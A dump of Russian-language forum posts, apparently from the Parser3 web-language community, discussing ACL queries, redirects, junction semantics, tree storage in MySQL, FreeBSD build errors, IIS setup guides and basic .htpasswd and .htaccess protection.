если же хочется показать \"хоть что-то, абы как\", то стоит показывать просто текст, выкинув все теги вообще."
"48261","спасибо. сразу все стало понятно. :)"
"48262","[code]\
		^if(def $object_list){\
			AND acl.object_id IN ($object_list)\
		}\
[/code]\
$object_list к нему должен приходить похоже сразу списком через запятую...\
вызывает getACL метод getFullACL, который как бы формирует этот список из переданного ему параметра object_list\
[code]\
$obj_list[^if($object_list is \"table\" && $object_list){^object_list.menu{$object_list.id}[,]}{$object_list}]\
[/code]\
но у меня он не table, значит он передается дальше в чистом виде... блин, сделать, чтоль, вручную его table заранее?"
"48263","не знаю пока насчет работает или нет...\
и вообще как-то нет увернности, что по-уму сделано...\
[code]\
@atm_init[atm_id]\
\
^rem{ *** достаем данные о текущем документе *** }\
	$current_object[\
	  $.id($atm_id)\
	  $.parent_id($atm_id)\
	  $.irf[0]\
	]\
\
^rem{ *** достаем данные о текущем треде *** }\
	$thread[\
		^table::create{id	parent	irf\
$atm_id	$atm_id	0\
}\
	]\
\
^rem{ *** $auth - объект класса auth *** }\
^rem{ *** достаем назначения прав текущему пользователю на все объекты треда *** }\
	$acl[^auth.getFullACL[$thread]]\
\
^rem{ *** определяем права авторизированного пользователя на объект *** }\
	$right(^auth.getRightsToObject[$current_object;$thread;$acl])\
\
[/code]"
"48264","[code]\
$obj_list[^if($object_list is \"table\" && $object_list){^object_list.menu{$object_list.id}[,]}{$object_list}]\
\
^obj_list.save[/temp/obj_list.txt]\
[/code]"
"48265","1. Что такое atm?\
2. Что такое irf?"
"48266","[code]\
@getACL[object_list;user_list]\
$result[^csql.table{\
	SELECT\
		acl.object_id,\
		acl.rights,\
		auser.auser_id,\
		auser.name,\
		auser.description,\
		auser.auser_type_id,\
		auser.rights AS user_rights\
	FROM\
		acl,\
		auser\
	WHERE\
		acl.auser_id = auser.auser_id\
		^if(def $object_list){\
			AND acl.object_id IN ($object_list)\
		}\
		^if(def $user_list){\
			AND acl.auser_id IN ($user_list)\
		}\
	ORDER BY\
		auser.name\
}]\
#end @getACL[]\
[/code]\
\
и возникает вопрос: как вы добились того, чтобы при неопределенном $object_list у вас этот кусок (AND acl.object_id IN ()) попал в текст запроса?\
\
хотя кажется понял... пареметр у getFullACL не может быть хешом."
"48267","Есть простейший вариант гостевой, как из урока в документации.\
Проблема в том, что если после добавления скрипта наждать \"обновить\", сообщение дублируется.\
Скажите, как можно сделать так, чтобы после добавления собщения осуществлялся редирект на исходную страницу (если такое возможно).\
Такой вариант:\
[code]\
$response:refresh[ \
	 $.value(0) \
	$.url[/pis/] \
]\
[/code]\
- редиректит, но почему-то данные формы оставляет в памяти (если форма находится на этой же странице).\
Как можно очистить данные формы не прибегая в \"Примерам\" с хеш-файлами. \
Что-нибудь самое простое нужно."
"48268","[code]\
$response:location[http://${env:SERVER_NAME}$request:uri]\
[/code]\
\
ДЗ: Найдите в форуме информацию про [b]внешний редирект[/b]"
"48269","альтернатива:\
http://www.parser.ru/examples/antiflood/\
\
скачайте маленький архив с классом и посмотрите пример.\
\
P.S. требуется parser 3.1.4 или новее"
"48270","[quote]...не прибегая в \"Примерам\" с хеш-файлами.[/quote]\
:)"
"48271","тогда http://www.parser.ru/examples/feedback/ ^^\
\
P.S. воспользоваться готовым кодом по моему проще, чем написать свой, к тому-же написать нужно будет буквально пять строк :)"
"48272","Имеем:\
\
[code]\
@CLASS\
MyClass\
\
\
@create[]\
$param[]\
#end @create[]\
\
@SET_lala[val]\
$param[$var]\
#end @SET_lala[]\
\
@GET_lala[]\
$result[$param}\
#end @GET_lala[]\
[/code]\
\
Понятно как используем:\
\
[code]\
$object1[^MyClass::create[]]\
\
$object1.lala[Заголовок]\
...\
[/code]\
\
Когда понадобится в теле страницы:\
[code]\
$object1.lala\
[/code]\
\
Получим:\
\
[code]\
Заголовок\
[/code]\
\
А можно-ли при чтении \"свойства\" передать ему каким-либо образом параметр, от которого, допустим, будет зависеть вывод этого свойства? Ну там в тэгах или без и т.п..."
"48273","нет, для разных нужд нужны разные свойства.\
\
концептуально можно сделать параллельно старенькой концепции MFC:\
* есть документ (Doc)\
* есть точка зрения на него (View)\
\
описанное свойство, разное в разных местах, будет одноимённым свойством разных View вашего объекта:\
[code]\
$personHTML[^PersonHTMLView[$person]]\
$personHTML.title\
\
$personCustom[^PersonCustomView[$person]]\
$personCustom.title\
[/code]\
\
\
другой вариант: есть $caller, но, сами понимаете, это скверно.\
\
буквально: параметров get-теру передавать нельзя, это неправильно концептуально."
"48274","Хотя можете попробовать"
"48275","Какие-то мелочи можно поправить, вряд ли из-за этого стоит тормозить прогресс."
"48276","для сравнения строк нужно eq. \
это так с самого начала и к 3.2.0 никакого отношения не имеет."
"48277","Я имел в виду:\
\
[code]\
@main[]\
^someMethod{^asdfg[]}\
\
@someMethod[param]\
^if(!def $param){^throw[...]}\
\
^try{\
$param\
 }{\
$exception.handled(1)\
handled\
}\
[/code]\
\
Приведенный код выполниться дважды, причем если в param будет exception, он не будет обработан внутри нашего try."
"48278","Хотелось бы, чтобы код коректно работал в следующих случаях:\
\
1) При проверке $code is junction код не выполнялся, также чтобы код не выполнялся и при проверке \"def\".\
\
2) Чтобы при проверке $code is junction выдавалось true, если код действительно junction. \
\
Возможно нужно запретить вызов кода внутри круглых скобок \"()\", т.к. [i]зачастую[/i] внутри круглых скобок содержатся логические выражения.\
\
[b]ВАЖНО[/b]\
А если говорить честно, то мне кажется, что присвоение кода переменной и при обращении к имени метода класса - это разные вещи. Даже из-за того, что в первом случае код выполняется при вызове $code, а во втором ^code[...]. И мне кажется присвоение кода переменной должно быть не \"junction\", как это сейчас (работает некоректно), а иного типа, например code. А для типа $code уже реализовать коректную работу с \"is\" и \"def\"."
"48279","[b]UPDATED[/b]: сорри, был не в контексте, кажется разговор тут шел о другом $code{вот таком}\
\
[quote]1) При проверке $code is junction код не выполнялся,[/quote]\
\
[code]\
@main[]\
$i(0)\
^if($method is \"junction\"){junction}{not junction}\
^method[]\
=$i=\
\
$bool($method is \"junction\")\
^if($bool){true}{false}\
\
\
@method[a]\
^i.inc(1)\
[/code]\
\
is \"junction\" не выполняет метод, да и не может он этого сделать, ибо метод может принимать параметры, часть их которых может быть обязательными для корректной работы метода.\
\
[quote]также чтобы код не выполнялся и при проверке \"def\".[/quote]\
с какого перепугу?\
\
[quote]2) Чтобы при проверке $code is junction выдавалось true[/quote]\
\
так и есть (см пример выше)"
"48280","как работает компилятор кода на языке Parser в внутренний байт-код?\
\
в Parser использован обычный для такой задачи подход:\
использование вспомогательного \"компилятора компиляторов\" для получения кода компилятора на основе формального описания [url=\"http://www.parser.ru/forum/?id=46395\"]грамматики языка[/url].\
\
вот конечный файл с исходным кодом компилятора, который порождается из грамматики:\
[url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/main/compile.tab.C?rev=HEAD&content-type=text/vnd.viewcvs-markup\"]compile.out.C[/url].\
\
сходите по ссылке, посмотрите на таблицы вида:\
[code]\
static const short yytable[] = {    15,\
    10,    18,   143,    51,   104,    42,  -102,    84,   109,     1,\
    15,    89,    18,    80,    63,    72,    52,    53,   252,    73,\
    55,     1,    74,    55,   253,    81,    21,    84,    70,     2,\
   141,   110,   111,   112,   113,   244,   114,   115,    87,    80,\
    82,   240,   116,   117,    80,    22,    61,    67,    42,   118,\
   119,    81,     2,    22,    71,  -171,   120,     3,  -101,    15,\
   121,    18,     4,     4,   122,   123,    22,    56,    79,     3,\
    56,   106,    15,   108,    18,     4,    83,    57,     3,    94,\
    98,   101,    86,     3,     4,   250,   201,   190,   251,     4\
[/code]\
\
[b]это[/b] часть компилятора нашего с вами языка.\
используя [b]эти[/b] таблицы обрабатывается $var\
\
эти таблицы это состояния, номера лексем, номера правил и переходы между всеми ими.\
\
а вот кусочек журнала компилятора компиляторов:\
\
[code]\
rule 8    control_method -> '@' STRING '\\n' maybe_control_strings \
rule 17   code_method -> '@' STRING bracketed_maybe_strings maybe_bracketed_strings maybe_comment '\\n' @1 maybe_codes \
\
...\
\
state 2\
\
    control_method  ->  '@' . STRING '\\n' maybe_control_strings   (rule 8)\
    code_method  ->  '@' . STRING bracketed_maybe_strings maybe_bracketed_strings maybe_comment '\\n' @1 maybe_codes   (rule 17)\
\
    STRING	shift, and go to state 21\
 ...\
state 21\
\
    control_method  ->  '@' STRING . '\\n' maybe_control_strings   (rule 8)\
    code_method  ->  '@' STRING . bracketed_maybe_strings maybe_bracketed_strings maybe_comment '\\n' @1 maybe_codes   (rule 17)\
\
    '\\n'	shift, and go to state 52\
    '[' 	shift, and go to state 53\
\
    bracketed_maybe_strings	go to state 54\
\
 state 52\
\
    control_method  ->  '@' STRING '\\n' . maybe_control_strings   (rule 8)\
\
    STRING	shift, and go to state 89\
\
    $default	reduce using rule 171 (empty)\
\
    maybe_control_strings	go to state 90\
    control_strings	go to state 91\
    control_string	go to state 92\
    maybe_string	go to state 93\
    empty	go to state 94\
\
\
\
state 53\
\
    bracketed_maybe_strings  ->  '[' . maybe_strings ']'   (rule 20)\
\
    STRING	shift, and go to state 95\
\
    $default	reduce using rule 171 (empty)\
\
    maybe_strings	go to state 96\
    strings	go to state 97\
    empty	go to state 98\
[/code]"
"48281","может плохо объяснил ....\
ситуация такая... скрипт выполняется с чужого сервера и резултат его работы выводится \
[code]\
$response:body[$f.text]\
[/code]\
ну скажем на экране появилось \"данные приняты\" и их скрипт отправляет тебя дайльше на другой скрипт, а путь к этому скрипту у них указан /new/новый_скрипт.php, а в адресной сроке http://мой_сайт.ru/моя_страница.html и соответственной их скрипт ищется на моем сайте, то есть http://мой_сайт.ru//new/новый_скрипт.php, а его естественно нет... получается ошибка 404"
"48282","я уже разжевал один раз, что такой $junction самовзрывающийся.\
\
нельзя проверить, есть там код, или нет.\
\
можно только выполнить и потом проверять, получилось ли чего."
"48283","я понял, что хотелось бы.\
и написал, что нужно, чтобы это осуществилось.\
\
думал, что вам очевидны проблемы, которые нужно решить.\
вот пример проблемы (одной из многих):\
[code]\
@main[]\
^method{$form:fields}\
\
@method[junction]\
$junction.some_field << это должно выдать поле формы\
$junction << это должно выдать hash\
^if($junction is junction){что это должно напечататься?}\
[/code]\
\
вы не видите противоречия между последней и предпоследней строчкой?"
"48284","вдруг есть более изящное решение?\
давайте вместе подумаем?"
"48285","и я правильно вас понял.\
вы на экране видите, что метод file::load выдаёт ошибку 404 и думаете себе что-то.\
\
пожалуйста, перестаньте думать это. вы пошли по неправильному пути.\
\
попробуйте $.any-status, о котором толкую, сразу всё встанет на свои места."
"48286","[code]\
$i(0)\
$mai{do ^i.inc[]}\
\
<p>^if($mai is junction){true}{false}</p>\
<p>^if(def $mai){$mai}{nothink}</p>\
<p><b>$i</b></p>\
[/code]\
\
Выдает:\
[code]\
false\
\
do \
\
3\
[/code]\
\
А хотелось бы: true, do, 1"
"48287","Поэтому и написал:\
\
[quote]А если говорить честно, то мне кажется, что присвоение кода [i]переменной[/i] и при обращении к [i]имени метода[/i] класса - это разные вещи. Даже из-за того, что в первом случае код выполняется при вызове $code, а во втором ^code[...]. И мне кажется присвоение кода переменной должно быть не \"junction\", как это сейчас, а иного типа, например [b]code[/b]. А для типа code уже реализовать коректную работу с \"is\" и \"def\".[/quote]"
"48289","есть ли у кого проект, где активно используются DOM функции?\
\
не строчка/две, а что-то большое и тяжёлое?\
\
в CVS|HEAD героически выбросил библиотеки gdome и glib, чтобы избавиться от назойливых ошибок работы с памятью при DOM операциях, соответственно, переписал всю работу с DOM.\
\
на синтетических тестах http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/tests/\
всё работает, однако сами понимаете.."
"48290","нет большой разницы, как это назвать.\
(внутри, безусловно, это и так разные junction ;)\
\
важно: как избежать описанного противоречия в работе:\
в выражении хочется чтобы и вроде бы ещё не выполнялось:\
[code]\
^if($junction is junction){...\
[/code]\
и выполнялось:\
[code]\
@superIterator[expression;...]\
^if($expression>5){...\
[/code]\
\
+чувствую, что противоречий больше одного.\
\
сумеете внятно сформулировать полный список разнородных junction с подробным описанием поведения каждого?"
"48291","Что заглядываешь в исходники только после очередной серии из цикла внутренностей."
"48292","[quote]Если явно объявить локальную переменную result, это укажет Parser, что в коде метода нужно проигнорировать все пробельные символы, если их явно не присваивают переменной result.[/quote]\
\
Да, действительно, если мы напишем так:\
\
Пример 1:\
[code]\
@sub[][result]\
^mytable.menu{\
   $mytable.myfield1\
   $mytable.myfield1\
}\
[/code]\
\
То все будет как и предполагается, но если написать вот так:\
\
Пример 2:\
[code]\
@sub[][result]\
^mytable.menu{\
   <tag1>$mytable.myfield1</tag1>\
   <tag2>$mytable.myfield1</tag2>\
}\
[/code]\
\
То мы обломимся в результате ошибки компиляции в строке, где <tag1> и т. д.\
А поскольку XML собирается не через DOM функции, то кусков кода, примерных Примеру 2, великое множество, ну не множество, но много раз запускается, а кусков кода, похожих на Пример 1, почти нет.\
\
Вопрос напрашивается сам собой. :-)"
"48293","Зарегистрироваться удалось со второго раза, тем не менее. Может, там у вас тоже что-то с $resultом, а? :-)))"
"48297","То есть я имею в виду, что само устройство языка (\"Parser - один большой print\") подразумевает смешение символов и разных операторов в теле метода. Зачем существует фича, которая работает только в методах, где нет символов, непонятно. А с учетом того, что подавляющее большинство методов, в общем-то уже содержат непосредственный вывод символов, то использовать ее как-то негде.. )\
\
Может, она подразумевает какой-то иной стиль программирования, в котором формирования результата в виде <tag>$var</tag> происходит в одном месте?"
"48298","[code]\
@lookup[table;findcol;resultcol;findvalue;notfound][result]\
^if(^table.locate[$findcol;$findvalue]){\
   $table.$resultcol\
}{\
   $notfound\
}\
[/code]\
\
на мой взгляд это выглядит не удобно, т.к. написать например так вы не можете:\
[code]\
@lookup[table;findcol;resultcol;findvalue;notfound][result]\
^if(^table.locate[$findcol;$findvalue]){\
   $table.$resultcol\
}{\
   default-string-not-found\
}\
[/code]\
поэтому я например данную фичу почти не использую."
"48299","[code]# выдаём результат примерно в таком виде	\
Subsys_JsHttpRequest_Js.dataReady($id-сессии,'текст',^{'элемент': '^taint[js][массива]'^})[/code]\
\
за подробностями можно [url=\"http://www.parser.ru/forum/?id=47530\"]сюда[/url]."
"48300","Взялся за редизайн, решил свой огромный набор функций грамотно распихать по классам, и вот наткнулся на косяк - меняю в коде класса название использумого для ссылки поля, а в результате в браузере все остается по-прежнему. \
\
Это кто что где кэширует? Парсер или Апач?"
"48301","если вы не использовали свое кеширование на Парсере\
или прокси если на нем включено кеширование"
"48302","Это совершенно точно не браузер.\
Это точно не прокси, потому что localhost.\
А классы подключены через @USE"
"48304","...просто вы не упомянули про свой браузер и хос.\
Поэтому с моей стороны логично было такое предположить.\
\
Приведите фрагмент кода."
"48305","В базе данных MySQL у меня есть таблица с разделами и подразделами некоторых товаров состоящая из следующих полей:\
parent_id — идентификатор родительской категории\
category_id — идентификатор категории товаров\
category — наименование категории\
\
Получается так, что несколько разделов могут иметь одноименный подраздел, но ведь в parent_id я могу записать только один идентификатор родительского раздела. Что делать, если мне нужно записать их несколько?\
\
Заранее благодарю."
"48306","больше похоже на такое:\
[code]\
[+] вкусные\
 |\
 --[+] сочные\
    |\
    --[-] арбузы \
[/code]\
или на это:\
[code]\
[+] вкусные\
 |\
 --[-] арбузы \
[+] сочные\
 |\
 --[-] арбузы\
[/code]\
?\
\
тут в обоих случаях у арбузов по два родителя получается..."
"48307","mailer_83@mail.ru"
"48308","в котором храните идентификатор объекта, на который ссылается данный объект.\
\
Например, если у объекта 'х' значение поля link_to_object=у, то объект 'х' перенимает все поля объекта 'у'. В этом случае объект 'х' не будет избыточен. Это хорошо, т.к. править его нужно будит только в одном месте.\
\
Если все поля копировать не нужно, можно добавить еще одно поле: link_to_object_type, и в зависимости от типа копировать только необходимые поля.\
\
ЗЫ.\
придумал ен я. Так реализована структура объектов в Мишиной базе."
"48309","Если рассматривать ваш пример, то в первом случае у арбуза только один родитель -- 'сочные'.\
\
Представте себе дерево, скажем березу, у которой одна и та же ветка растет из разных мест. Фантастика!"
"48310","вот мне и интересно, что тут понимается под \"родительством\", если первый вариант то это простое дерево, там можно рекурсией вычислить например, если второй то наверное что-то вроде фасетной классификации, тогда многие ко многим или что-то вроде этого. Вобщем, смотря что надо..."
"48311","Меня интересует конструкция вида:\
[+] вкусные\
 |\
 --[-] арбузы \
[+] сочные\
 |\
 --[-] арбузы\
\
Мне не понятно как у \"арбуза\" может быть идентификатор и \"вкосного\" и \"сочного\". Как эт овыглядит?"
"48312","[code]\
object_id  parent_id  link_to_object_id  name\
1          0          0                  вкусные\
2          0          0                  сочные\
3          1          0                  арбузы\
4          2          3 \
[/code]\
\
4-й объект является клоном 3-го. Это видно по его линку на 3-й объект.\
Если вам, вдруг, понадобится заменить арбузы персиками, то вы это сделаете только в объекте оригинале (3-й объект).\
\
Можно конечно обойтись и без линкования:\
[code]\
object_id  parent_id  name\
1          0          вкусные\
2          0          сочные\
3          1          арбузы\
4          2          арбузы\
[/code]\
\
Тогда объект арбузы будет избыточен. Хорошо если их два, а если их десять. аесли у объекта кроме поля name имеется еще пара десятков полей."
"48313","можно сделать отдельную таблицу связей\
[code]category_id\
parent_id[/code]\
и добавлять всех \"родителей\" туда. Если надо посмотреть в каких группах у нас арбузы, выбираем все записи с category_id = id арбузов, если надо посмотреть какие фрукты сочные - выбираем все записи с parent_id = id сочных...\
\
для примера посмотрите как раздаются блоки объектам в Мишином engine, или как сортируются пользователи по группам в Мишином классе авторизации."
"48314","Я использую, но что значит тяжелое и большое?"
"48315","создается таблица object, у которой нет никаких parent_id, есть только id - идентификатор объекта.\
\
создается таблица object_to_object, у которой есть:\
id, parent_id, sort_order и nesting (расстояние между объектами в иерархии, а не как у меня - расстояние от корня)\
\
для каждый двух объектов \"в треде\", которые находятся в подчиненном отношении, добавляется запись. для упоминаемых здесь арбузов это будет выглядеть примерно так (добавил уровень иначе непонятно):\
[code]\
[+] овощи/ягоды/фрукты (1)\
 |--[+] вкусные (2)\
 |   |--[-] арбузы (4)\
 |   |--[-] яблоки (5)\
 |\
 |--[+] сочные (3)\
     |--[-] арбузы (4)\
\
object:\
id	name\
1	овощи/ягоды/фрукты\
2	вкусные\
3	сочные\
4	арбузы\
5	яблоки\
\
\
object_to_object:\
id	parent_id	nesting	sort_order\
1	0	1	1\
2	1	1	1\
3	1	1	2\
4	1	2	1\
4	2	1	1\
5	1	2	1\
5	2	1	2\
4	3	1	1\
[/code]\
\
особенности подобной организации:\
\
достоинства:\
- есть возможность одним запросом (всего с одним join) получить объекты начиная от любого родителя (в том числе от корневого объекта, что означает получить ветку целиком) отсортированую в заданном порядке чтобы выводить потом без рекурсии.\
- есть возможность ограничивать глубину получаемой ветки\
- один объект может находиться в нескольких местах древовидной структуры (как арбузы в примере)\
\
недостатки:\
- достаточно большая избыточность (больше чем thread_id)\
- сложности при добавлении новых объектов (нужно добавить пачку записей) и при перемещении объекта в другое место"
"48316","Потребовалось тут переустановить систему. Пока переставлял, настраивал вебсервер и парсер, снимал скриншоты и писал комментарии. По-моему, получилась более приятная альтернатива краткому до невозможности http://www.parser.ru/docs/lang/install4iis.htm\
\
Попинайте - \
http://bougakov.com/misc/parser/iis.zip (590 Kb, установка IIS и Parser)\
http://bougakov.com/public_html/misc/parser/msde.chm (60Kb, как подружить Parser и Microsoft SQL Server)\
\
По итогам критики вышлю окончательный вариант Мише и Paf'у - если захотят, смогут включить в документацию.\
\
P.S. Сейчас пишу про установку CVS[b]NT[/b] (CVS-сервера под Windows) и TortoiseCVS"
"48317","я бы хотел прислать .exe, чтобы вы проверили на своём проекте. вдруг есть такая возможность?"
"48318","Добрый день!\
\
Версия парзера 3.1.5, ОС - FreeBSD.\
[b]При выполнении конфигурирования появляются такие ошибки:[/b]\
config.status: executing depfiles commands\
configure: configuring in src/lib/ltdl\
configure: WARNING: no configuration information is in src/lib/ltdl\
\
[b]На этапе компиляции:[/b]\
In file included from ltdl.c:28:\
config.h:2:26: config_auto.h: No such file or directory\
ltdl.c:165: error: `malloc' undeclared here (not in a function)\
ltdl.c:169: error: `free' undeclared here (not in a function)\
ltdl.c: In function `rpl_strdup':\
ltdl.c:212: error: `NULL' undeclared (first use in this function)\
ltdl.c:212: error: (Each undeclared identifier is reported only once\
ltdl.c:212: error: for each function it appears in.)\
ltdl.c: In function `rpl_strcmp':\
ltdl.c:241: error: `NULL' undeclared (first use in this function)\
ltdl.c: In function `rpl_strrchr':\
\
\
файл config_auto.h отсутствует (как в дистрибутиве, так и после конфигурирования). В чем может быть проблема?\
\
\
---\
Заранее благодарен,\
Андрей"
"48321","Верные ссылки:\
http://www.bougakov.com/misc/parser/iis.zip (590 Kb, установка IIS и Parser)\
http://www.bougakov.com/misc/parser/msde.zip (52Kb, как подружить Parser и Microsoft SQL Server)"
"48322","На одном из проектов есть разбор 30 МегаБайтного xml-файла в формате Yandex.Market. ~150 тыс. DOM-обращений. Пойдет? Могу прислать код и xml-файл. Либо попробовать у себя, но в таком случае нужен бинарник под FreeBSD."
"48323","даже я, далекий от графики человек, знаю что это плохо, ибо получаются они значительно больше чем gif-ы (только сделаные сейчаc jpeg-и в gif конвертировать смысла нет, ибо это только добавит шума и лишь незначительно уменьшит размер, т.е. если не осталось оригиналов то увы...)\
\
и слабо в html прописать background? :)"
"48324","и сколько памяти парсер отжирает при ^xdoc::create{} этого файла? а при поиске первой-же ноды?\
\
просто я как то пытался \"поработать\" с 26-ти мегабайтным файлом, мне не понравилось... уж очень медленно и очень много памяти.\
\
и насколько я понял ПАФ-а ему нужны _разные_ DOM-обращения, а не одно и то-же по туче узлов, или я не прав?"
"48325","... но задача редкая, поэтому решил сделать \"в лоб\". На собственном сервере мгк себе позволить... :)"
"48326","мне больше понравился perl скрипт с тремя regexp-ами, написаный минут за 30, и обрабатывающий мой файл секунд за 20-30, при этом почти не отжирающий памяти. на выходе он выдает три файла, готовые к LOAD DATA INFILE в три таблицы (а load data infile работает раз в 10 быстрее даже чем пачка insert в .sql).\
\
так что имейте ввиду :)"
"48327","... вот только к Перлу у меня, мягко говоря, нехорошее отношение. :)"
"48328","Задача:\
Надо скачать кое-какие странички с http://betfair.com/lite/\
\
Как?"
"48330","Исходные bmp я сохранил. Руки не дошли по-нормальному сделать картинки, кадрировать etc.\
\
Пожалуйста, оцените текст в целом. Может быть, я что-то упустил по смыслу (так, только в последний момент вспомнил, что нужно назначать парсер обработчиком не только *.html, но и *.p). Форму отполирую потом."
"48332","не получилось... =(("
"48333","http://www.parser.ru/faq/forum/\
\"...напишите что вы хотели получить, что вы делали и что получили...\"\
\
\"...Если вопрос касается парсерного кода то: приведите его фрагмент...\""
"48334","Konqueror и Firefox меню \"файл -> сохранить как\" никаких проблемм.\
Пожалуйста конкретней, что сохранить, каким способом, если код пожалуйста покажите."
"48335","http://www.parser.ru/forum/?id=48179\
\
Вот тут Paf отвечает, но что с эти делать я пока не пойму. :("
"48336","Такая же проблема...\
\
Paf, поджскажите, как поколдовать чтобы собралось на FreeBSD 5.3 проблема в обоих версиях и 3.2, 3.1.5"
"48337","А при сборке из CVS варнинга нет, пробую дальше..."
"48339","А вот этот парсер\
parser3_2_0_freebsd410R_cgi_xml.tar.gz\
разве не будет работать в FreeBSD 5.1 ?\
или в FreeBSD 5.3?"
"48341","довольно сложная, еще до конца не разобрался как оно должно работать. Большинство непоняток кстати возникает именно изза дубликатов* в дереве. Например, я хотел бы вытащить ветку дерева (ancestor-or-self) от корня, зная идентификатор обьекта. Пытаюсь вытащить первую ветку до арбузов тем способом который первым приходит в голову, по арбузному идентификатору, и в результсете имею лишний объект \"сочные\" из другой ветки.\
Как вытащить чтобы его небыло, пока непонятно.\
\
Или вот еще - арбузы висят на дереве в двух местах, а их отношение к корню в таблице прописано только один раз. Означает ли это что все арбузы могут висеть только на определенном уровне? Скорее всего нет, просто сейчас они висят на одинаковом уровне, а одинаковые отношения добавлять в базу не имеет смысла. Но если мы перевесим арбузы в одной из веток поближе к корню - придется добавлять еще одну запись. А если мы вместо этого уберем арбузы с одной ветки вообще, мы не сможем просто удалить из таблицы их отношение с корнем, ибо оно получилось общее для всех арбузов, и этот момент всегда надо проверять, чтобы случайно не поудалять лишнего.\
\
Если не создавать дубликаты объектов в дереве, все получается на порядок легче и элегантнее.\
\
* Дубликаты в смысле несколько представлений объектов в дереве."
"48342","Все работало пока в один прекрасный момент, все что связано с MySql полетело! А ведь вообще ничего не трогал, надо с техподдержкой разбираться, с ними переговариваться помоему они что-то там переставили в связи с Новым Годом :)"
"48343","Извиняюсь. Я конечно знаю что много раз поднимался этот вопрос. Но так и не нашел ничего подходящего. На fatal/hoha.ru регистрация не работает. На holm.ru парсер не устанавливается. А больше вроде и нет нормальных хостингов. Может у кого ни будь действует сайт на бесплатном хостинге и  ему будет не влом рассказать об установке"
"48344","Да, я вчера уже с CVS тоже начал собирать. Умерло на зависимости к bison (?! прошлые версии были без него?). У меня складывается впечатление, что архивчик, лежащий на вкладке download немножко неправильный :-)"
"48345","Вот код из примеров:\
[code] \
@main[] \
$users[^table::create{name   password \
alice   xxxxxx \
bob   yyyyyy \
}] \
\
$htpasswd[^table::create[nameless]{}] \
^users.menu{ \
    ^htpasswd.append{$users.name:^math:crypt[$users.password;^$apr1^$]} \
} \
\
^htpasswd.save[nameless;.htpasswd-parser-test] \
\
\
[/code]\
\
Я так понимаю что xxxxxx это пароль который мне нужно будет вводить в форму а его хэш хранится в файле\
Но разве злоумышленник как нибудь не сможет прочитать этот код и найти этот самый xxxxxx???\
Объясните пожалуйста может я чего то не понимаю?"
"48346","(то, что вы не читаете сообщения, которые вам печатает configure, вероятно, исправить нельзя)"
"48347","математически это сделать практически невозможно.\
\
однако всегда можно ломать в лоб (по словарю или даже полным перебором).\
\
если злоумышленник завладеет файлом .htpasswd,\
он сможет куда быстрее ломать пароли, чем делать это через веб (по протоколу http).\
\
но и в этом быстром случае, быстро сломаются только простые пароли.\
\
поэтому никогда не нужно делать паролей вида koshka, mama, god и прочее."
"48348","Хотел так...\
[code]$f[^file::load[text;http://www.betfair.com/lite/]][/code]\
Потом разобрать $f.text, выбрать из него нужные ссылки, закачать след. страницу так же, разобрать ее и выдрать нужные данные...\
\
Споткнулся на первом же шагу..."
"48349","[code]\
$users[^table::create{name   password \
alice   xxxxxx \
bob   yyyyyy \
}] \
[/code]\
\
и просто прочитать этот xxxxxx"
"48351","это был простой для чтения пример, на месте xxxxx в реальной жизни $form:password"
"48352",">(то, что вы не читаете сообщения, которые вам печатает >configure, вероятно, исправить нельзя)\
\
я не понял, где там написано сделать touch всем файлам?\
я внимательно перечитал еще несколько раз его сообщения и даже на всякий случай воспользовался поиском"
"48353","где находится этот самый .htpasswd\
у меня сайт на ruweb.net и там нет доступа к apache\
и как вообще закрыть доступ к файлам auto.p и .htaccess"
"48354","где написано, что нажатием кнопки \"хочу\" из дисковода вылезает пирожок?"
"48355","http://www.parser.ru/download/win32/\
в левой колонке.\
\
доступ к .htaccess обычно ваш админ уже перекрыл. перепроверьте за ним.\
\
а .htpasswd можно хранить в любом каталоге (лучше вне веб-пространства)."
"48356","то вы не внимательно читали документацию.\
У вас не устоновленна опция [b]$.timeout(секунд)[/b]"
"48357","В .htaccess в котором parser указан обработчиком документов должны быть строчки закрывающие файлы .p и .cfg:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Доступ к .htaccess закрыт по умолчанию.\
А файлы .htpasswd лучше хранить вне веб-пространства. Для ruweb.net создайте папку .htpasswd в том же каталоге, где у вас лежит public_html и в эту папку кладите файлы с паролями.\
Соответственно путь к этому файлу будет выглядеть вот так:\
/home/site_name/domains/domain_name/.htpasswd/.htpasswd"
"48358","Linux Sedora 4\
Parser 3.1.4 в ввиде cgi-скрипта не работает на этой платформе...\
Кто что подскажет?"
"48360","Нет, вообще не видит скрипт. Говорит, что такого не найдено!\
http://nvdc.com.ua/cgi-bin/parser3.cgi"
"48362","чтобы указать какую именно страницу нужно паролировать???"
"48364","В продолжение http://www.parser.ru/forum/?id=48321 -\
\
обновил странички по IIS и SQL Server (скриншоты и бэкграунд поправлены по требованию эстетствующих сограждан), а также выкладываю первый черновик по CVSNT:\
\
http://www.bougakov.com/misc/parser/iis.zip\
http://www.bougakov.com/misc/parser/msde.zip\
http://www.bougakov.com/misc/parser/cvs.zip\
\
жду критики и исправлений.."
"48365","разве сам не заметил уменьшение размера chm-ки?\
\
написано нормальным языком (ну... мне по крайней мере понятно). но вот насколько это соответствует действительности я не знаю, ибо ни IIS ни MSDE в глаза не видел. с MSSQL я работал исключительно через enterprise manager поэтому корректность создания БД заценить не могу. \
\
а вот строку подключения мне кажется все таки стОит написать в одну строку, ибо замечание об удалении переводов строк из неё читать будут единицы, как мне кажется."
"48366","Обычно файл .htaccess с настройками пароля кладётся в ту директорию которую надо паролить, и действует на неё и все её подкаталоги.\
А вообще подробно вот здесь:\
http://httpd.apache.org/docs/1.3/howto/htaccess.html#auth\
http://httpd.apache.org/docs/1.3/mod/mod_auth.html"
"48367","Да я собственно не язвлю, а понять хочу:\
\
find ./ -exec touch {} \\;\
дату всем исправил, но собираться он все равно не стал.\
Ошибка та же и на проблемы с датами создания файлов совсем не похоже."
"48368","всё нормально отвечет\
\
Parser/3.1.4 (compiled on i686-pc-linux-gnu)\
\
если наладил так сообщи в чём проблемма была, может кто нить тоже на подобное напорется."
"48369","делаю сортировку по полю \
Как возможно отсортировать по двум параметрам сразу? То есть например есть таблицы в бд\
\
stringsnames со строками name_rus и id \
strings со строками content и name_id\
name_id = id\
cards c id и другими\
strings.id = cards.id\
\
и код\
stringsname.menu{\
stringsname.name_rus <select name=\"sort\"><option value=\"strings.content\">strings.content</option></select>\
}\
Имя1 <select name=\"sort\"><option value=\"содержание1\">содержание1</option></select>\
